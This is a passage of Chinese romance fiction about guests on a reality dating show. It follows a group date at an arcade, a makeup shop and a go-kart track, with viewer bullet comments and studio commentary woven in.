【依旧满座,依旧抢不到票,依旧黄牛比本人挣得还多,依旧完播率百分百,依旧退票。】
车内三人的欢声笑语,仿佛和蒋听没有关系。他平静地聆听着,嘴角却连一丝笑意也没有。
李可颜不禁说:“哇,原来网上说蒋听笑点很高都是真的,这都不笑,也太厉害了吧……”
“习惯了。”倪品煞有其事地讲述,“这位先生就是我职业生涯的终点,只要能把他逗笑,我就可以去申请吉尼斯世界纪录了,可以去参加美国的达人秀了,可以去明年的春晚了。”
【依旧长难句排比句起手/.】
【每次都在我笑到窒息的时候再度加码!】
一时间,车内外都充满了快活的空气。
只有蒋听,只有这个人,他不仅不笑,还分外较真地解释:“我没笑,是因为我听不懂。”
“你哪里听不懂?”周迟昼问。
“你们说的什么《少年闰土》……”他疑惑地皱着眉,“那是什么?一本书吗?电视剧?”
“好像是小学六年级的课本……”李可颜怕伤及他的自尊心,“哎呀,可能你不记得了。”
蒋听说:“我六年级没怎么读,后来上初中就学校和体校两边跑,学业什么的顾不上了。”
“哈哈,没事没事。”
一时又陷入尴尬的沉默。
“放首歌吧。”周迟昼为了活跃气氛,“看看节目组的车上准备了什么音乐。随机一首。”
他随意地在中控台点了两下。
一阵曼妙的音乐袭来。
伤感、忧愁,平缓的钢琴前奏,然后,又是一阵极其劲爆的吉他合奏。倪品突然坐直了。
她唱道:
“爱到心破碎也别去怪谁,只因为相遇太美。 ”
“就算流干泪伤到底烧成灰,也无所谓~~”
前座的两人面面相觑。
倪品瞪大眼睛:“这你们都不知道?雨蝶啊,《还珠格格》的片尾曲啊,是我太老了吗?”
李可颜:“我只听说过,没看过。”
“你呢?”倪品期待地看向周迟昼。
“额……”周迟昼捏了捏挺拔的鼻尖,“其实我从小在国外长大,确实不看这些国产片。”
【啊,我们迟昼竟然还是个海归!】
【感觉是家世好,家教又好,这个气质完全公子哥来的,培养这种孩子肯定要花不少钱。】
“啊……”倪品顿感失望,“好吧。”
正在这时,一道低沉的嗓音跟唱起来。
“我破茧成蝶愿和你双飞,最怕你一去不回。”
“虽然爱过我给过我想过我,就是安慰~~”
“你!!”
倪品惊讶地望向身旁的蒋听。
蒋听一眨不眨地看着她,漆黑的瞳孔中填满了认真,他会唱,并且唱得比她还要情动呢。
倪品不甘示弱:
“我向你飞,雨温柔地坠。”
蒋听:
“像你的拥抱,把我包围。”
倪品又深情地唱:
“我向你飞,多远都不累。”
蒋听也赋予了更多情绪:
“就算旅途中,有过痛和泪。”
一时间,两厢对望。
【我不行了,这是完全唱美了。】
【谁来救救我啊,这个看完了春晚怎么办?】
【谁来告诉我为什么会唱《雨蝶》的是蒋听?离了恋综哪里还有世界级格斗冠军逗我笑!】
倪品拍着手说:“你这家伙,你真会啊!”
蒋听清了清唱到有些沙哑的嗓子,“嗯,小时候最喜欢看的就是《还珠格格》了,还有《宫锁心玉》《步步惊心》,我和我弟弟一到晚上八点就守在电视机前面,什么也管不上了。”
“那你真的完全看美了,那时候的剧最好看了。”
“是的,我看《还珠格格》的时候就一直哭,我记得紫薇失明的时候,我和我弟都哭了。”
李可颜忍不住笑了:“真的假的?”
“真的。”蒋听回答,看的人却是倪品,“我哭得眼睛都肿了,我大还以为我被人打了。”
“哈哈哈哈!”倪品笑得前仰后合,“以你爸这个偷摸给你报恋综的性子,确实有可能。”
【什么?!原来蒋听不是自己主动来的啊!被老爸偷报了恋综,世上还有这么好笑的事。】
李可颜和周迟昼也很震惊,但蒋听似乎没有多解释的打算,至少没有和倪品讲时那么详尽,看来他对不熟的人也是有所防备的,这个就叫“认生”。倪品心里想,又多了解了他一点。
也不错。
到地方了,节目组已经提前备好了固定机位,特意选的下午时间,电玩城里的客人也不多,非常方便拍摄。周迟昼贴心地兑了币,一筐筐地分发给大家,他是个非常知道找事做的人。
反观蒋听,很多时候只知道傻傻地站在那儿,属于镜头一扫而过的背景。倪品替他着急,只有主动,才能在节目里留下更多镜头,好吧,即便不为镜头,也要给女嘉宾留下好印象啊。
她撞了撞蒋听的肩膀,小声说:“你……”
周迟昼突然地打断:
“倪老师,想玩什么?”
【嗯,这么巧合,绝对不是某人吃醋了。】
【这个吃粥就这样不让老婆和其他男生讲话!】
“啊,”倪品赶紧回答,“我刚才看到那边有线条小狗的娃娃机,嗯,想去试着抓一下。”
“好的,用我的币吧。”他很自然地略过了李可颜,带着倪品往抓娃娃机去。剩
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下的两人也有点尴尬地对视。李可颜抿了抿涂着亮晶晶唇彩的嘴巴,“嗯,蒋听,我们去玩什么呀?”
“我想去投会儿篮球。”
“我不会……”
“那去玩生化危机,打丧尸。”
“会很吓人吗?”
“不会,”蒋听说,“很热血。”
【人家女孩子看起来就不想玩了……】
【蒋听真的太没情商了,只能说做朋友的话还凑合,谈对象谈到这样的,就自认倒霉吧。】
李可颜陪他端着枪打了一会儿,从屏幕四面八方爬出来的丧尸吓得她连连惊叫,最后只得面色惨白地站在一边,看蒋听一个人玩,蒋听玩完,发现她没怎么尽兴,只好说:“抱歉。”
“没事,我们去玩其他的吧。”
“那去玩赛车游戏吗?”
【烦死了!人家都不想玩这种竞技类游戏了!】
【抓娃娃啊!快带她去抓娃娃!她一直在看周迟昼和倪品那边啊,蒋听你眼睛瞎吗?!!】
李可颜在原地站了一会儿,说:“其实我不想待在电玩城。旁边有美妆店,我想去逛逛。”
蒋听也点头:“好,去美妆店。”
“那我们去和那两个人说一下吧。”
“好,去和那一对说一下。”
录播室内,有人暂停了画面。
韩峥拧着眉头:“看到现在,我只看出周迟昼很体贴,倪品很风趣,蒋听实在是让我……”
谈茗说:“不懂得观察女生的脸色,更不知道体察对方的需求,只顾自己玩的开心……几乎踩中约会的所有雷区了,约会经验欠缺的男性可以把这一段当成反面教材,反复去研读。”
梁琼绿惊奇道:“我发现你对同性的攻击性真的挺强啊,总是能委婉地说出最犀利的话!”
“……”谈茗说,“就当你在夸我了。”
周诠说:“但谈茗说得真一点错没有,蒋听的情商确实太低了,他真应该学一学周迟昼。”
“我并没有觉得周迟昼做的更好。”建春却说,“他只对倪品一个人贴心备至,但本质上这是一场1v2约会,他一点没照顾到李可颜,而把对方甩给蒋听,其实是不负责任的体现。”
韩峥蹙着眉说:“老师,你这有点太严苛了吧,周迟昼最想约会的人是倪品,一切肯定以她为中心啊。再说如果我是倪品,被这样特殊的、有区别的对待,其实会偷偷给他加分哦。”
梁琼绿说:“不不,以我对倪品的了解,她在乎的点绝对不是这个。呃,建春老师,其实我多少有点懂你的意思,因为比起被区别对待,倪品更想看到的是周迟昼处理矛盾的能力。”
周诠点了点头:“你们说的也有道理。倪品这种外向型的自信人格,她的安全感完全是自己给予自己的,不需要依靠谁。在这种情况下,她很有可能不想要偏爱,而是希望周迟昼能高情商地平衡这场约会的三方,或者说,如果由她来主导这场约会,她不会让谁陷入尴尬。”
梁琼绿竖起大拇指:“果然你能当主持人是有原因的。”
周诠嘿嘿一笑,“谬赞谬赞,拙见拙见。”
“非也非也,妙见妙见。”
【两位古人这下子又是聊美了。】
【ok本小生也是直接茅塞顿开了哈。】
【666还有洋务运动。】
“导播,我们继续看下去吧。”
电玩城的另一边,在一片粉蓝色的霓虹灯光里,倪品和周迟昼正兴高采烈地抓着娃娃。即便不精通这个,但是倪品依旧花光自己的所有币吃到了保底,白色的马尔济斯和棕色的小金毛都拿到了。在倪品聚精会神地盯着被夹住的娃娃时,周迟昼也一眨不眨地盯着她,很专注。
【这个盯妻狂魔!要不要这么明目张胆啊?】
【哈哈哈搞得我们小品都不敢看他了!】
其实倪品并非不敢看他,事实上,她一直在用余光观察着周迟昼,甚至比他更为细致。直到抓完两只娃娃,她问周迟昼想要哪个,而他拿过她手里的一枚游戏币,“我要这个就好。”
“嗯?”倪品不明所以。
“两只小狗,好像你都喜欢呢,我不想夺人所爱。”他温柔地笑着,那双深邃的眸子中完完全全地倒映出倪品的脸。他将那硬币抛起,抓在掌心,“我留一枚游戏币当作纪念就好。”
倪品却没有他以为的那样,羞涩地笑,或者敞亮地打趣他。她蹙了蹙眉,问:“为什么?”
“什么为什么?”周迟昼也问。
“永远是满分答案,一直做不出错的选择,不会累吗?”她强硬地把马尔济斯犬塞给他,“这是你想要的吧,第一天来小屋,你拎的行李箱上就有这只小狗的玩偶,你不喜欢吗?”
周迟昼愣了愣。
“……是,我喜欢。”他低声说。
“那就说啊。”倪品以若无其事的语气,“我喜欢你对我说实话,嗯?别对我撒谎呀。”
她笑着,歪了歪脑袋。
“我比你以为的要敏锐哦。”
12. 春风沉醉的夜晚(12)
周迟昼的呼吸停滞了片刻,霓虹光影还在不停变换着,刺得眼睛有点疲惫。面前的倪品渐渐从模糊变清晰,就像游在水族馆里面的鱼,突然贴近了玻璃,隔着冰冷的屏障对他吐泡泡。
咕噜噜。
咕噜。
镜头把这段极致拉扯,纪录得刻意而唯美。
弹幕早已掀起轩然大波。
【我去!有种猎人和猎物身份调换的感觉!】
【是这样的,你以为是你先注意到的我,其实我更早就看到你了,不过是愿者上钩罢了。】
【对,我觉得看到现在,大部分观众都把倪品给小瞧了,能在娱乐圈里混得风生水起的能有什么单纯的人?个个都是人精。所以我说名人来参加这种素人恋综完全就是降维打击……】
【楼上,你是不是忘了蒋听?】
【哈哈哈哈,这哥们纯属是个美丽的意外!】
说什么,什么就到,这份暗潮涌动的暧昧很快被打破。李可颜和蒋听走过来,说想去隔壁的美妆店逛一逛。比起周迟昼的片刻迟疑,倪品很快察觉到李可颜兴致不佳,“一起去吧。”
“嗯,走吧。”
李可颜试探性地挽上倪品的胳膊,于是情形就变成了:倪品左边是周迟昼,右边是李可颜,蒋听只能默默地跟在三人身后。淡粉与橙黄装潢的美妆店里,李可颜对这些化妆品很熟悉,甚至比导购还能侃侃而谈。倪品提出让她为自己化妆,李可颜眼睛立刻亮了,好啊,她说。
【总感觉有倪品在的地方就会很安心,即便再多人的聚会,也完全不用担心自己被冷落。】
【就像观察室说的,倪品就是那种非常会平衡各方的人啊,只是这样对她会不会太累了?】
【累也没办法啊,如果不这样做,她反而会更累。越替他人着想的人往往自己也很敏感。】
从美妆店出来,周迟昼已经定好吃饭的位置,一家评分很高的闽菜馆。吃饭时李可颜一直抱怨自己最近在减肥,很快就要到夏天了。周迟昼说她很瘦了,李可颜就咬着吸管笑了起来。
“你们男生才看不出来女生瘦不瘦呢。”
“呃,好吧,也许我真的看不出来。”周迟昼把话题抛给另一位男士,“蒋听你觉得呢?”
蒋听正在喝一碗当归老鸭汤,非常严肃地皱着眉头,就像老一派的人那样端着汤,吹着喝。他认真地盯着李可颜,片刻后说:“你要增重,你的抗打击能力非常弱,会被两拳撂倒。”
【……神经。】
【谁家好人安慰女生会用这套说辞啊。】
倪品眼见气氛又陷入尴尬,赶紧把话题救回来:“我感觉人还是要多吃点,多长一点肌肉,这样气血会足一点,我之前减肥,连快递都拿不动,搬完第二天感觉就像被人打了两拳。”
“啊,同感。”周迟昼颔首,“之前公司组织去爬老君山,爬完第二天我就躺酒店里了。”
李可颜说:“原来大家都不怎么运动啊。我今天早上起来,本来想着跑步试试,结果还没跑两步就累了,刘观涧和蒋听倒是非常厉害,感觉是每天都有运动,所以才能一跑半小时。”
“啊,蒋听。”倪品说,“下次李可颜跑不动,你就从背后给她两拳,她能就坚持下来。”
“你可真坏呀!”李可颜作势锤她。
一片和谐的欢声笑语中,照样只有蒋听是不笑的。他一口口地喝汤,喝完之后,平静地说:
“不能从背后打人,台裁会判罚。”
“……”
现在大家都知道,蒋听会很快地终结聊天气氛,除非倪品这种跟一条狗聊天都能把狗聊笑的专业选手,其他人要和他说话还得掂量掂量。吃完去玩卡丁车,店内有双人和单人的选项,倪品想自己体验体验,于是选单人,李可颜有点害怕,她问男生有谁可以和她组队一起玩。
周迟昼和蒋听互相看了一眼彼此,蒋听说我都行,周迟昼想了想,还是说:“我跟你组。”
【啊,不要啊,我的品粥cp不要be啊啊啊!至少不要当着倪品的面和别的女生一起吧!】
【唉算了吧,倪品也不是很在乎。我总感觉周迟昼的箭头更大一点,她反而回应得很少。】
【哪里少了,她约会一直和周迟昼呆在一起啊,两个人就差肩膀贴着肩膀走了,还不够?】
【少点cp滤镜吧你们,倪品一直和周迟昼聊,只是因为场上就他一个可以考虑的男嘉宾啊,这才第二天呢,急什么,你看回到小屋之后有别的男嘉宾,她还会不会和周迟昼有互动。】
换好了赛车服,倪品和李可颜在场地的入口处等两个男生。先来的是周迟昼,他选的是白红相间的配色,硬朗的面料轮廓,衬得他身形愈发修长,精致优雅的脸蛋神似舞台上的爱豆。
【哇,帅呆了。】
【我不行了,周迟昼真的很帅,要疯掉了。】
人都会喜欢赏心悦目的美丽事物,两个年轻女生也不乏惊艳地打量着周迟昼。倪品直言:“可以去演偶像剧了。”周迟昼听罢只是微微一笑,从架子上拿过一只头盔,替倪品戴上。
“一个人开,小心一点。”他叮嘱。
【啊啊,爸爸妈妈你们就这样和好了。】
【即便不在一个车里,但我的心在你那里~】
镜头突然从近景往远了拉,模糊的背景聚焦得无比清晰,不远处的蒋听走了过来。一身黑色劲装,肩宽腿长,无疑是对一般男性的降维打击。他的头发不长,却立得十分有层次,一手抱着自己的头盔,一手随意地落在大腿外侧,轻微驼背,是职业的通病,走起来却很潇洒。
【蒋听你这个硬汉,你不要说话了……】
【诶我发现你这个蒋听竟然还是个断眉,悄悄把自己捯饬得痞里痞气,蛮帅蛮松弛的嘞!】
【楼上想多了,这是他打拳的时候搞伤的,国家优选的金牌冠军,身上就连纹身也没有。】
【那很好,可以去考公了。】
【得了,面试一开口直接把分扣光了。】
嗯,是很好看。倪品尽管知道自己的目光应该收敛一点,但自动瞄准的本能,还是让她情不自禁地瞥了一眼。这一眼让弹幕更欢快了,就连观察室里的梁琼绿也吐槽:“这小色品。”
【那很色了。】
【第一眼不看仍子的人是这个。】
尽管是第一次玩,但倪品还是很容易就上手了,她就慢慢地开,适应每一个弯道。周迟昼和李可颜开得非常快,像一阵风从倪品旁边过去,只留下女生那清脆而欢快的笑声。倪品笑着抬头看了看,继续踩下油门时,另一辆车悄悄地贴了过来,是蒋听,他隔着头盔朝她点头。
倪品比了个“ok”的手势。
意思是,她没事儿。
蒋听比了个“good”的手势。
但他并没有很快开走,而是默默地跟在她后面。两辆车再次停靠在起点的时候,倪品和他都下了车。倪品还有些不解,问他怎么不自己开自己的,蒋听说:“你第一次开,看着点。”
“你开过很多次吗?”倪品问。
“跟其他人去团建,就经常玩这个,但是我自己从不来玩。”蒋听说,“有点太吵了。”
“啊,是的,我的耳朵都疼,手也一直被方向盘震。”倪品锤了锤脖子,“不太舒服。”
“我第一次玩的时候也是这样,第二天脖子就抬不起来,所以,今天之内不可以再玩了。”蒋听垂眸,看着她露出的半片脖颈,伸出手,迟疑了两三秒,指尖点在上面,“这里吗?”
“嘿,你怎么知道的?”
“所有的运动员,只要和伤病打交道,对身体机理这一块其实都很了解。”蒋听默默地挪开他的手,不自在地张开掌心,又把拳头攥起来。反复几次,他才说,“我有带膏药贴来。”
“就在小屋吗?”
“嗯。”
“可是你自己够用吗?”
蒋听也没说别的。
“回去我就拿给你。”
倪品说:“做朋友,在心中。”
【这个蒋听也是精的要死,前面李可颜脸色那么臭就当没看见,现在对倪品是嘘寒问暖。】
【楼上没必要这么说吧,倪品和蒋听很早就认识了,对熟人比较放得开一点,也很正常。】
【那你怎么不说之前好几次冷场了,
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谁都没有搭理他,只有倪品接了他的话呢?不管是爱情还是友情,肯定还是要双向的,人家倪品会说话,情商高,谁不想和这样的人做朋友啊?】
有一搭没一搭地聊了一会儿,周迟昼和李可颜的车也靠过来了,正好门票的时间也快到了,一行人也玩得很尽兴,打道回府。在车上,李可颜说:“不知道月月那边的情况怎么样。”
倪品接话:“张月好像是三人约会吧。”
周迟昼:“嗯,她和刘观涧、王醒。”
夜晚的春风带点寒气,走在回小屋的路上,倪品裹了裹身上的衣服,周迟昼立刻要脱下外套给她,倪品说不用。两人因为交谈,落在后头,周迟昼突然问:“你今天打算寄信给谁?”
【哦哦,迟昼怎么突然这么直球啊!】
【因为约会很合心意吧?当时倪品把线条小狗给他,明显能感觉到他对倪品感情更深了。】
倪品不答反问,“你寄给谁?”
周迟昼望着倪品,而她朝他狡黠地眨了眨眼睛,两人突然都低头笑了,避而不谈这个话题。
【伟大的暧昧期……】
【呜呜呜俊男美女看得人哈特软软!】
其他两组的约会状况,倪品暂时不清楚,他们好像是最先回来的。上二楼的时候,看到徐席在开放区域看书,她好奇地走过去,徐席就抬头看她,“你们吃晚饭了吗?冰箱里还有。”
“我们都吃过了。”
“嗯。”徐席继续专注于书本。
陆陆续续的,三人组和二人组也回来了,大家一起聚在客厅里聊天。三人组去的是台球厅,二人组去做了烹饪,柳之琳一回来就凑到倪品身边,跟她讲述和赵辛平约会时发生的趣事。
“他把黄油饼干做成炒饼了?”
倪品的嗓音大了点,叫当事人发现了。赵辛平害羞地轻咳一声,而柳之琳整张脸都红透了,不停地拧着她的胳膊,叫她不要再说下去。李可颜也和张月说悄悄话,时不时轻笑两声。
晚上九点半,大家的手机纷纷震动。
「春夜的信箱」
「经过一天的约会,各位嘉宾现在心境如何呢?请选择你想寄信的对象,并且将信件投送到ta的信箱里,本次依旧是由男生二十二点寄出信件,女生收到并且回信。下周调换顺序。」
“啊,又要寄信了。”李可颜小声说。
“走吧走吧,回房间拿信了。”
大家纷纷回到房间准备信件。倪品和徐席的房门却被敲响,是王醒,他来送膏药贴给倪品。
“蒋听怎么自己不来送?”
“品姐,是我要替他送的,我想着问你点事呢,徐席她一个人在小屋,没有心情不好吧?”
倪品:“那你是真的想多了。”
“哦哦,行,那就好。”
这次的收信顺序和上次不同,倪品是最后一个,她回来的时候,正好碰到蒋听去拿信。结果她还没回到小屋,蒋听就擦着她的肩膀飞快地略过。他两手插兜,目不斜视,这什么情况?
倪品叫住他:“蒋听,你的信呢?”
蒋听停下脚步。
“什么信?”
“你没收到信吗?”
他问:“你给我寄了吗?”
倪品笑了:“你说什么傻话,我给你寄个啥啊寄,我问你有没有收到别的女生给你的信?”
“没收到,但是我也没寄。”
倪品一时愣住:“你说什么?”
蒋听很实诚的:“我没寄出去,我不知道写给谁,节目组说没有想写的人也可以不写。”
……这家伙!
倪品都要急死了,左看右看,最后猛扯了他一把,“你不知道写给谁,就写给柳之琳啊!”
“我给她写什么?”
“你问我?我怎么知道?!”
“……我没有想和她说的话。”
“那……那就写给李可颜,你今天不是还和她一起约会了吗?”
“我真的不知道应该给她写什么。”
倪品瞪着他。
最后,忍无可忍。
“来来来,蒋听,你跟我过来!”